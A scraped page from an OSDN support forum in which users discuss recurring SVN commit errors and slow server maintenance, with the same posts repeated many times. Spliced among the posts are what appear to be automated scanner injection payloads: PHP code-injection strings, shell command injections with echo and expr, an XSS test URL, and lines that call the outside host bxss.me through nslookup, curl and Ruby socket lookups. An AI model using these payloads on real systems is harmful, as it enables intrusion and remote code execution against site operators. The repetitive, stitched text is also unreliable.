quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
';print(md5(31337));$a='
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
HttP://bxss.me/t/xss.html?%00
"+"A".concat(70-3).concat(22*4).concat(109).concat(66).concat(114).concat(73)+(require"socket" Socket.gethostbyname("hitqq"+"vhlbeaff88ab2.bxss.me.")3.to_s)+"
|echo yypgga$()\ eyxcjw\nzxyu||a #' |echo yypgga$()\ eyxcjw\nzxyu||a #|" |echo yypgga$()\ eyxcjw\nzxyu||a #
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/&echo pujvmf$()\ ptqjsv\nzxyu||a #' &echo pujvmf$()\ ptqjsv\nzxyu||a #|" &echo pujvmf$()\ ptqjsv\nzxyu||a #
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
&echo prosxr$()\ ufhqfl\nzxyu||a #' &echo prosxr$()\ ufhqfl\nzxyu||a #|" &echo prosxr$()\ ufhqfl\nzxyu||a #
expr 9000329311 - 946208
ticket_edit_submit.php
${@print(md5(31337))}\
(nslookup -q=cname hitetdczudyaxeb1e9.bxss.me||curl hitetdczudyaxeb1e9.bxss.me))
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
bxss.me/t/xss.html?%00
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
${@print(md5(31337))}
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
'A'.concat(70-3).concat(22*4).concat(111).concat(82).concat(103).concat(72)+(require'socket' Socket.gethostbyname('hiteg'+'vtrheosob9df4.bxss.me.')3.to_s)
1 derekwildstar への返信
